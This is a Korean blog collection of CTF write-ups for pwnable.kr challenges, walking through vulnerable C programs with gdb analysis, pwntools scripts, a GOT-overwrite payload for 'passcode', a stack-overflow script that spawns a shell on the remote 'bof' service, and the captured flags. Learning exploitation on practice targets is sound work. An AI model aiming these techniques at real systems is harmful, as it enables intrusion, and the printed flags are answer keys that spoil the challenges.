728x90
반응형
728x90
반응형
728x90
반응형

mistake - 1 pt

We all make mistakes, let's move on.

(don't take this too seriously, no fancy hacking skill is required at all)


This task is based on real event

Thanks to dhmonkey


hint : operator priority


ssh mistake@pwnable.kr -p2222 (pw:guest)


ssh 접속을 하고, 코드를 살펴봅시다.


mistake@ubuntu:~$ ls -l

total 24

-r-------- 1 mistake_pwn root      51 Jul 29  2014 flag

-r-sr-x--- 1 mistake_pwn mistake 8934 Aug  1  2014 mistake

-rw-r--r-- 1 root        root     792 Aug  1  2014 mistake.c

-r-------- 1 mistake_pwn root      10 Jul 29  2014 password

mistake@ubuntu:~$ cat mistake.c

#include <stdio.h>

#include <fcntl.h>


#define PW_LEN 10

#define XORKEY 1


void xor(char* s, int len){

int i;

for(i=0; i<len; i++){

s[i] ^= XORKEY;

}

}


int main(int argc, char* argv[]){

int fd;

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){

printf("can't open password %d\n", fd);

return 0;

}


printf("do not bruteforce...\n");

sleep(time(0)%20);


char pw_buf[PW_LEN+1];

int len;

if(!(len=read(fd,pw_buf,PW_LEN) > 0)){

printf("read error\n");

close(fd);

return 0;

}


char pw_buf2[PW_LEN+1];

printf("input password : ");

scanf("%10s", pw_buf2);


// xor your input

xor(pw_buf2, 10);


if(!strncmp(pw_buf, pw_buf2, PW_LEN)){

printf("Password OK\n");

system("/bin/cat flag\n");

}

else{

printf("Wrong Password\n");

}


close(fd);

return 0;

}



문제 제목이 mistake이다.

힌트는 operator priority 연산자 우선순위.




if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)


이 코드를 보면 open함수의 반환값인 fd의 값과 0을 비교하는 것 처럼 보이지만 사실 비교 연산자 (<)가 산술연산자 (=) 보다 우선순위가 높기 때문에

open함수의 반환값과 0을 비교한 결과가 fd에 들어가게 된다.


위 코드가 실행될 때 open함수에서 파일이 정상적으로 열려서 양수를 반환하게 된다.

그리고 0과 비교했을 때 Fasle 이므로 fd에는 0이 들어가게 된다.




그 다음,

 

if(!(len=read(fd,pw_buf,PW_LEN) > 0))


이 부분도 마찬가지.

일단 fd에 0이 들어갔다. read함수에서 fd = 0이면 stdin을 의미한다. 사용자로부터 입력값을 받는다.

입력값이 pw_buf에 들어가기 때문에 pw_buf의 값을 우리 마음대로 설정할 수 있다!



그 뒤에 


scanf("%10s", pw_buf2);


를 통해 pw_buf2의 값을 입력받기 때문에


pw_buf, pw_buf2 모두 우리 모두 설정할 수 있다.

그 뒤에 pw_buf2를 1과 xor한 값과 pw_buf가 같으면 플래그를 뿌려주게 된다.



mistake@ubuntu:~$ ./mistake 

do not bruteforce...

1111111111

input password : 0000000000

Password OK

Mommy, the operator priority always confuses me :(



FLAG : Mommy, the operator priority always confuses me :(



728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [coin1] 풀이  (2) 2018.03.12
pwnable.kr [shellshock] 풀이  (0) 2018.03.08
pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [random] 풀이  (0) 2018.02.26
728x90
반응형

leg - 2 pt

Daddy told me I should study arm.

But I prefer to study my leg!


Download : http://pwnable.kr/bin/leg.c

Download : http://pwnable.kr/bin/leg.asm


ssh leg@pwnable.kr -p2222 (pw:guest)



leg.c를 봅시다.


#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}


key1부터 3까지의 함수들은 ARM 어셈블리어로 작성이 되었네요.

먼저 main함수를 보면 위 3개의 함수값을 모두 더한값을 맞추면 플래그를 얻을 수 있는 것 같습니다!


main함수의 어셈코드도 봅시다!


0x00008d68 <+44>:	bl	0x8cd4 <key1>
   0x00008d6c <+48>:	mov	r4, r0
   0x00008d70 <+52>:	bl	0x8cf0 <key2>
   0x00008d74 <+56>:	mov	r3, r0
   0x00008d78 <+60>:	add	r4, r4, r3
   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3
   0x00008d88 <+76>:	ldr	r3, [r11, #-16]
   0x00008d8c <+80>:	cmp	r2, r3


함수를 통해 구한 r0값을 모두 더해서 최종적으로 r2에 들어가는 것을 알 수 있네요.


그럼 각 함수를 보겠습니다.




int key1(){
	asm("mov r3, pc\n");
}

(gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr End of assembler dump.


key1함수의 c와 어쎔코드입니다.

pc라는 값을 r3에 넣고 다시 r3를 r0에 넣었습니다.

그러면 pc라는 값이 key1의 값이 되겠네요.


그럼 pc가 뭔지 공부하고 옵시다!


cpu가 명령어 하나를 수행할 때 fetch > decode > execute 의 과정을 거친다고 합니다.


2개의 opcode를 실행하려면 fetch > decode > execute > fetch > decode > execute 총 6번의 작업이 필요하죠.

하지만 pipe line라는 것을 이용해서


 1

2

 fetch

decode 

execute 

 

 

fetch 

decode 

execute 



이렇게 병렬적으로 단계를 수행하면 2개의 opcode를 실행할때 6번의 작업이 필요했던것을 4번으로 줄일 수 있습니다.

직렬보다 효율적이죠.


pc는 fetch할 주소를 담고 있습니다.

현재 명령어가 execute단계라면, 다음 명령어는 decode단계, 그 다음 명령어는 fetch 단계이겠죠.

그래서 pc는 다다음번째 명령어의 주소를 담고 있게 됩니다.



key1 함수에서 pc의 값은 0x00008ce4 가 되겠네요.




이제 key2를 봅시다.

int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.


r3에 pc값(0x00008d08)을 대입하고, 4를 더해서 r0에 대입하네요.

key2의 값은 0x8d08 + 4 = 0x8d0c !!!




key3를 봅시다.


int key3(){
	asm("mov r3, lr\n");
}

(gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr End of assembler dump.


lr이라는 값을 r3에 대입하고 r3의 값을 r0에 대입하네요.

그러면 lr이라는 값을 구하면 될 것 같네요.


lr은 함수 호출 전에 다시 되돌아가 실행할 주소를 담고 있다고 합니다.


main함수를 보면,


 0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3

lr의 값은 0x00008d80 이 되겠네요.




3개 모두 구했습니다!!

key1 | 0x8ce4

key2 | 0x8d0c

key3 | 0x8d80


모두 더하면 0x1a770 이네요.


그럼 이제 플래그를 구합시다!

프로그램에서 정수값으로 입력을 받기 때문에 108400을 입력하겠습니다.


/ $ ./leg

Daddy has very strong arm! : 108400 

Congratz!

My daddy has a lot of ARMv5te muscle!


FLAG : My daddy has a lot of ARMv5te muscle!



728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [shellshock] 풀이  (0) 2018.03.08
pwnable.kr [mistake] 풀이  (0) 2018.03.08
pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
728x90
반응형

input - 4 pt

Mom? how can I pass my input to a computer program?


ssh input2@pwnable.kr -p2222 (pw:guest)


ssh 접속을 하고 소스를 확인합니다.


input2@ubuntu:~$ ls -l

total 24

-r--r----- 1 input2_pwn root      55 Jun 30  2014 flag

-r-sr-x--- 1 input2_pwn input2 13250 Jun 30  2014 input

-rw-r--r-- 1 root       root    1754 Jun 30  2014 input.c

input2@ubuntu:~$ cat input.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <arpa/inet.h>


int main(int argc, char* argv[], char* envp[]){

printf("Welcome to pwnable.kr\n");

printf("Let's see if you know how to give input to program\n");

printf("Just give me correct inputs then you will get the flag :)\n");


// argv

if(argc != 100) return 0;

if(strcmp(argv['A'],"\x00")) return 0;

if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

printf("Stage 1 clear!\n");


// stdio

char buf[4];

read(0, buf, 4);

if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;

read(2, buf, 4);

        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;

printf("Stage 2 clear!\n");

// env

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;

printf("Stage 3 clear!\n");


// file

FILE* fp = fopen("\x0a", "r");

if(!fp) return 0;

if( fread(buf, 4, 1, fp)!=1 ) return 0;

if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;

fclose(fp);

printf("Stage 4 clear!\n");


// network

int sd, cd;

struct sockaddr_in saddr, caddr;

sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd == -1){

printf("socket error, tell admin\n");

return 0;

}

saddr.sin_family = AF_INET;

saddr.sin_addr.s_addr = INADDR_ANY;

saddr.sin_port = htons( atoi(argv['C']) );

if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){

printf("bind error, use another port\n");

    return 1;

}

listen(sd, 1);

int c = sizeof(struct sockaddr_in);

cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);

if(cd < 0){

printf("accept error, tell admin\n");

return 0;

}

if( recv(cd, buf, 4, 0) != 4 ) return 0;

if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;

printf("Stage 5 clear!\n");


// here's your flag

system("/bin/cat flag");

return 0;

}




코드가 상당히 기네요.. 차근차근 살펴봅시다.

전체적으로 보았을때 Stage 1 부터 5까지 모두 통과해야 플래그를 얻을 수 있는 것 같습니다.



그럼 먼저 Stage1을 통과하기위한 조건을 봅시다.


// argv

if(argc != 100) return 0;

if(strcmp(argv['A'],"\x00")) return 0;

if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

printf("Stage 1 clear!\n");



1. 인자의 개수 = 100개

2. argv['A'] = \x00

3. argv['B'] = \x20\x0a\x0d


이면 스테이지 1이 클리어가 되네요.




// stdio

char buf[4];

read(0, buf, 4);

if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;

read(2, buf, 4);

        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;

printf("Stage 2 clear!\n");


Stage2입니다.


pwnable.kr의 fd문제에서 read함수의 fd값을 공부했던적이 있었습니다.

stdin으로 \x00\x0a\x00\xff 입력을 주고 sterr로 \x00\x0a\x02\xff을 주어야 클리어할 수 있습니다.




// env

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;

printf("Stage 3 clear!\n");


stage 3 입니다.


환경변수네요. \xde\xad\xbe\xef 라는 환경변수에 \xca\xfe\xba\xbe 값을 넣어주면 됩니다.




// file

FILE* fp = fopen("\x0a", "r");

if(!fp) return 0;

if( fread(buf, 4, 1, fp)!=1 ) return 0;

if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;

fclose(fp);

printf("Stage 4 clear!\n");


stage 4 입니다.


\x0a라는 파일을 열고, 읽어온 첫 4바이트가 \x00\x00\x00\x00 이어야 클리어네요.




// network

int sd, cd;

struct sockaddr_in saddr, caddr;

sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd == -1){

printf("socket error, tell admin\n");

return 0;

}

saddr.sin_family = AF_INET;

saddr.sin_addr.s_addr = INADDR_ANY;

saddr.sin_port = htons( atoi(argv['C']) );

if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){

printf("bind error, use another port\n");

     return 1;

}

listen(sd, 1);

int c = sizeof(struct sockaddr_in);

cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);

if(cd < 0){

printf("accept error, tell admin\n");

return 0;

}

if( recv(cd, buf, 4, 0) != 4 ) return 0;

if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;

printf("Stage 5 clear!\n");


stage5 입니다.

atoi(argv['C']) = argv['C']의 정수형으로 변환한 값을 포트번호로 소켓서버를 열고

\xde\xad\xbe\xef 을 보내주면 stage5가 클리어 된다.





그럼 익스플로잇을 작성하겠습니다.


http://gmltnscv.tistory.com/27 이 분의 익스플로잇 코드를 참고했습니다...


Python으로 작성하였고, Pwntools를 사용했습니당.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
 
#stage1
argvs = [str(i) for i in range(100)]
argvs[ord('A')] = '\x00'
argvs[ord('B')] = '\x20\x0a\x0d'
 
#stage2
with open('./stderr''a') as f:
    f.write('\x00\x0a\x02\xff')
#stage3
envVal = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}
 
#stage4
with open('./\x0a''a') as f:
    f.write('\x00\x00\x00\x00')
 
#stage5 
argvs[ord('C')] = '40000'
 
#인자전달, stderr 파일 열기, 환경변수 설정등
target = process(executable='/home/input2/input', argv=argvs, stderr=open('./stderr'), env=envVal)
 
#stage2의 stdin
target.sendline('\x00\x0a\x00\xff')
 
#다시 stage5, 포트가 argv['C']와 일치해야겠죠?
conn = remote('localhost'40000)
conn.send('\xde\xad\xbe\xef')
target.interactive()  
cs


그런데 이 코드를 현재 디렉토리에서는 작성할수가 없습니다. 권한이 없기 때문...

그래서 권한이 있는 /tmp를 이용해야 한다고 합니다!

/tmp에 코드를 작성하고 실행해보겠습니다.


input2@ubuntu:~$ cd /tmp

input2@ubuntu:/tmp$ mkdir m4ndu

input2@ubuntu:/tmp$ cd m4ndu

input2@ubuntu:/tmp/m4ndu$ vi ex.py

input2@ubuntu:/tmp/m4ndu$ python ex.py

[+] Starting local process '/home/input2/input': Done

[+] Opening connection to localhost on port 40000: Done

[*] Switching to interactive mode

Welcome to pwnable.kr

Let's see if you know how to give input to program

Just give me correct inputs then you will get the flag :)

Stage 1 clear!

Stage 2 clear!

Stage 3 clear!

Stage 4 clear!

Stage 5 clear!

[*] Process '/home/input2/input' stopped with exit code 0

[*] Got EOF while reading in interactive

$


엇 플래그가 뜨지 않습니다.. 플래그 파일이 현재 경로에 없기 때문이죠..

그렇다고 플래그 파일을 복사해 올 수도 없습니다.

그래서 심볼릭 링크를 걸어주고 다시 실행하면 됩니당


input2@ubuntu:/tmp/m4ndu$ ln -s /home/input2/flag flag

input2@ubuntu:/tmp/m4ndu$ ls

flag

input2@ubuntu:/tmp/m4ndu$ vi exex.py


[2]+  Stopped                 vi exex.py

input2@ubuntu:/tmp/m4ndu$ vi ex.py

input2@ubuntu:/tmp/m4ndu$ python ex.py 

[+] Starting local process '/home/input2/input': Done

[+] Opening connection to localhost on port 40000: Done

[*] Switching to interactive mode

Welcome to pwnable.kr

Let's see if you know how to give input to program

Just give me correct inputs then you will get the flag :)

Stage 1 clear!

Stage 2 clear!

Stage 3 clear!

Stage 4 clear!

Stage 5 clear!

Mommy! I learned how to pass various input in Linux :)

[*] Got EOF while reading in interactive

$  


flag를 얻었습니다!!
FLAG : Mommy! I learned how to pass various input in Linux :)


728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [mistake] 풀이  (0) 2018.03.08
pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
728x90
반응형

random - 1 pt

Daddy, teach me how to use random value in programming!


ssh random@pwnable.kr -p2222 (pw:guest)


접속을 하고, 소스를 확인해 봅시다.


random@ubuntu:~$ ls -l

total 20

-r--r----- 1 random_pwn root     49 Jun 30  2014 flag

-r-sr-x--- 1 random_pwn random 8538 Jun 30  2014 random

-rw-r--r-- 1 root       root    301 Jun 30  2014 random.c

random@ubuntu:~$ cat random.c

#include <stdio.h>


int main(){

unsigned int random;

random = rand(); // random value!


unsigned int key=0;

scanf("%d", &key);


if( (key ^ random) == 0xdeadbeef ){

printf("Good!\n");

system("/bin/cat flag");

return 0;

}


printf("Wrong, maybe you should try 2^32 cases.\n");

return 0;

}



4바이트의 랜덤값과 입력값을 xor연산을 해서 0xdeadbeef가 나오면 플래그를 주는 프로그램이네요.


어? 랜덤값이면 모든 경우의 수를 시도해 봐야 하는 거야? :3 라고 하실 수 있지만, rand()함수는 매번 바뀌는 시드값을 주지 않으면 항상 일정한 값을 반환하게 됩니다. 이 일정하게 나오는 값을 알아내면 답을 구할 수 있습니다.


gdb를 통해 값을 확인해 봅시다.


random@ubuntu:~$ gdb -q random

Reading symbols from random...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel

(gdb) disas main

(생략)

   0x000000000040062c <+56>: xor    eax,DWORD PTR [rbp-0x4]

   0x000000000040062f <+59>: cmp    eax,0xdeadbeef

(생략)


xor연산을 하고, 0xdeadbeef와 비교연산을 하게 되는 eax의 값을 확인해 보면 될 것 같습니다.


(gdb) b *main+59
Breakpoint 1 at 0x40062f
(gdb) r
Starting program: /home/random/random 
0

Breakpoint 1, 0x000000000040062f in main ()
(gdb) info register $eax
eax            0x6b8b4567 1804289383


브레이크 포인트를 걸고 돌려서 0을 넣은 결과 eax에 0x6b8b4567이 들어가 있는 것을 알 수 있습니다.
xor 0 은 해도 값이 같게 나오기 때문에 rand()의 값은 0x6b8b4567임을 알 수 있습니다.

따라서 우리가 넣어야 할 값은 0xdeadbeef ^ 0x6b8b4567을 통해서 구할 수 있습니다.

0xB526FB88 이라는 값이 나옵니다. 값을 정수형으로 받으므로 정수형으로 변환해줍니다.

3039230856



random@ubuntu:~$ ./random 

3039230856

Good!

Mommy, I thought libc random is unpredictable...



FLAG : Mommy, I thought libc random is unpredictable...

728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
728x90
반응형

passcode - 10 pt 

Mommy told me to make a passcode based login system.

My initial C code was compiled without any error!

Well, there was some compiler warning, but who cares about that?


ssh passcode@pwnable.kr -p2222 (pw:guest)


ssh passcode@pwnable.kr -p2222 (pw:guest) 으로 접속합니다.



passcode@ubuntu:~$ ls -l

total 16

-r--r----- 1 root passcode_pwn   48 Jun 26  2014 flag

-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26  2014 passcode

-rw-r--r-- 1 root root          858 Jun 26  2014 passcode.c

passcode@ubuntu:~$ cat passcode.c

#include <stdio.h>

#include <stdlib.h>


void login(){

int passcode1;

int passcode2;


printf("enter passcode1 : ");

scanf("%d", passcode1);

fflush(stdin);


// ha! mommy told me that 32bit is vulnerable to bruteforcing :)

printf("enter passcode2 : ");

        scanf("%d", passcode2);


printf("checking...\n");

if(passcode1==338150 && passcode2==13371337){

                printf("Login OK!\n");

                system("/bin/cat flag");

        }

        else{

                printf("Login Failed!\n");

exit(0);

        }

}


void welcome(){

char name[100];

printf("enter you name : ");

scanf("%100s", name);

printf("Welcome %s!\n", name);

}


int main(){

printf("Toddler's Secure Login System 1.0 beta.\n");


welcome();

login();


// something after login...

printf("Now I can safely trust you that you have credential :)\n");

return 0;

}



login()함수를 보시면 입력을 받는 부분이 존재하는데요.


scanf("%d", passcode1);

scanf("%d", passcode2);


이 둘은 입력값을 passcode1에 저장을 하는 것이 아니라, passcode1를 주소로 한 곳에 저장을 하게 됩니다.

예를 들어 passcode1=0x12345678 이라면 0x12345678주소에 우리가 입력한 값을 저장하게 되는 것이죠.


두 변수 모두 초기화되지 않았기 때문에 더미값이 들어가 있을 것이고, 그 더미값을 주소로 하는 곳에 입력값을 저장하게 되니,

오류가 나게 됩니다.



일단 gdb로 분석을 해봅시다.


   0x0804862f <+38>: lea    edx,[ebp-0x70]

   0x08048632 <+41>: mov    DWORD PTR [esp+0x4],edx

   0x08048636 <+45>: mov    DWORD PTR [esp],eax

   0x08048639 <+48>: call   0x80484a0 <__isoc99_scanf@plt>


welcome함수를 보면 ebp-0x70에 입력값을 저장합니다.

그리고 login 함수를 보면 


   0x0804857c <+24>: mov    edx,DWORD PTR [ebp-0x10]

   0x0804857f <+27>: mov    DWORD PTR [esp+0x4],edx

   0x08048583 <+31>: mov    DWORD PTR [esp],eax

   0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf@plt>


ebp-0x10이 passcode1가 위치한 곳을 알 수 있습니다.


welcome()에서 입력을 100바이트를 받는데, [ebp-0x70] - [ebp-0x10] = 0x60 = 96바이트 이므로

passcode1의 값을 조작할 수 있습니다!


그러면 passcode1의 값을 주소로 하는 곳에 원하는 값을 넣을 수 있으므로, 원하는 주소에 원하는 값을 넣을 수 있습니다.


그 다음 fflush()의 got주소를 login()의 system()부분으로 바꾸면 된다.


그럼 fflush()의 got주소와 login()의 system()부분의 주소를 구하자.



   0x08048593 <+47>: call   0x8048430 <fflush@plt>

-----

(gdb) x/i 0x8048430

   0x8048430 <fflush@plt>: jmp    DWORD PTR ds:0x804a004

(gdb) x/i 0x804a004

   0x804a004 <fflush@got.plt>: test   BYTE PTR ss:[eax+ecx*1],al


fflush의 got 주소는 0x0804a004이다.



   0x080485de <+122>: call   0x8048450 <puts@plt>

   0x080485e3 <+127>: mov    DWORD PTR [esp],0x80487af

   0x080485ea <+134>: call   0x8048460 <system@plt>


system함수의 시작부분을 보면 0x080485e3임을 알 수 있다.


그럼 페이로드를 구성해보면


dummy[96]+fflush()의 got[4]


system()[4] 가 된다.


여기서 system()[4]는 scanf()가 정수형으로 받기 때문에 정수형으로 바꿔서 보내주어야 한다.

0x80485e3 = 134514147


(python -c 'print "D"*96 + "\x04\xa0\x04\x08"'; cat) | ./passcode



passcode@ubuntu:~$ (python -c 'print "D"*96 + "\x04\xa0\x04\x08"'; cat) | ./passcode

Toddler's Secure Login System 1.0 beta.

enter you name : Welcome DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD�!

134514147

Sorry mom.. I got confused about scanf usage :(

enter passcode1 : Now I can safely trust you that you have credential :)



FLAG : Sorry mom.. I got confused about scanf usage :(





728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25
728x90
반응형

flag - 7 pt [writeup] 

Papa brought me a packed present! let's open it.


Download : http://pwnable.kr/bin/flag


This is reversing task. all you need is binary



리버싱 문제입니다.




exeinfope.exe 로 확인해 보면 upx로 패킹이 되어있다고 하네요.



분석을 위해서 언패킹을 진행합니다.


>>>>./upx -d ./flag

                       Ultimate Packer for eXecutables

                          Copyright (C) 1996 - 2017

UPX 3.94w       Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017


        File size         Ratio      Format      Name

   --------------------   ------   -----------   -----------

    883745 <-    335288   37.94%   linux/amd64   flag


Unpacked 1 file.



IDA로 깝니다.




strings들을 확인해보니 바로 플래그가 보이네요.




FLAG : UPX...? sounds like a delivery service :)

728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25
pwnable.kr [fd] 풀이  (0) 2018.02.25
728x90
반응형

bof - 5 pt [writeup] 

Nana told me that buffer overflow is one of the most common software vulnerability. 

Is that true?


Download : http://pwnable.kr/bin/bof

Download : http://pwnable.kr/bin/bof.c


Running at : nc pwnable.kr 9000



두개 모두 다운로드를 합시다.



bof.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}



func()에서 key = 0xdeadbeef를 key = 0xcafebabe 로 바꿔주면 쉘을 띄워주네요.


gets함수를 통해서 입력을 받는데, 입력값의 길이를 제한하지 않으므로 overflowme[32] 32바이트를 넘겨서 key값을 덮어 쓸 수 있습니다.


그럼 key[4] 와 overflowme[32] 사이의 거리를 구해야 합니다.

다운받은 바이너리를 gdb로 분석하겠습니다.



mandu@mandu-VirtualBox:~/Downloads$ gdb -q bof

Reading symbols from bof...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel

(gdb) disas func

Dump of assembler code for function func:

   0x0000062c <+0>: push   ebp

   0x0000062d <+1>: mov    ebp,esp

   0x0000062f <+3>:   sub    esp,0x48

   0x00000632 <+6>: mov    eax,gs:0x14

   0x00000638 <+12>: mov    DWORD PTR [ebp-0xc],eax

   0x0000063b <+15>: xor    eax,eax

   0x0000063d <+17>: mov    DWORD PTR [esp],0x78c

   0x00000644 <+24>: call   0x645 <func+25>

   0x00000649 <+29>: lea    eax,[ebp-0x2c]

   0x0000064c <+32>: mov    DWORD PTR [esp],eax

   0x0000064f <+35>: call   0x650 <func+36>

   0x00000654 <+40>: cmp    DWORD PTR [ebp+0x8],0xcafebabe

   0x0000065b <+47>: jne    0x66b <func+63>

   0x0000065d <+49>: mov    DWORD PTR [esp],0x79b

   0x00000664 <+56>: call   0x665 <func+57>

   0x00000669 <+61>: jmp    0x677 <func+75>

   0x0000066b <+63>: mov    DWORD PTR [esp],0x7a3

   0x00000672 <+70>: call   0x673 <func+71>

   0x00000677 <+75>: mov    eax,DWORD PTR [ebp-0xc]

   0x0000067a <+78>: xor    eax,DWORD PTR gs:0x14

   0x00000681 <+85>: je     0x688 <func+92>

   0x00000683 <+87>: call   0x684 <func+88>

   0x00000688 <+92>: leave  

   0x00000689 <+93>: ret    

End of assembler dump.



   0x00000654 <+40>: cmp    DWORD PTR [ebp+0x8],0xcafebabe


key는 [ebp+0x8]에 있습니다.


심볼이 다 날라가서 함수명을 알 수는 없지만, 소스를 보았을 때 첫번째 call은 printf이고 두번째 call은 gets임을 알 수 있습니다.


따라서 overflowme[32]의 위치는 


   0x00000649 <+29>: lea    eax,[ebp-0x2c]

   0x0000064c <+32>: mov    DWORD PTR [esp],eax

   0x0000064f <+35>: call   0x650 <func+36>


[ebp-0x2c] 일 것입니다.


스택구조를 나타내보면, 


낮은주소

overflowme[32]

dummy[12]

ebp+ret[8]

key[4]

높은주소


이렇게 됩니다. 그럼 페이로드는 dummy[52] + key[4](0xcafebabe) 가 되겠네요.



1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
 
= remote("pwnable.kr"9000)
 
payload = "D"*52 + "\xbe\xba\xfe\xca"
 
r.sendline( payload )
r.sendline('ls')
print(r.recv())
r.sendline('cat flag')
print(r.recv())
r.close()
cs



mandu@mandu-VirtualBox:~/project/pwnkr$ python bof.py 

[+] Opening connection to pwnable.kr on port 9000: Done

bof

bof.c

flag

log

log2

super.pl


daddy, I just pwned a buFFer :)


[*] Closed connection to pwnable.kr port 9000



FLAG : daddy, I just pwned a buFFer :)


728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25
pwnable.kr [fd] 풀이  (0) 2018.02.25
728x90
반응형



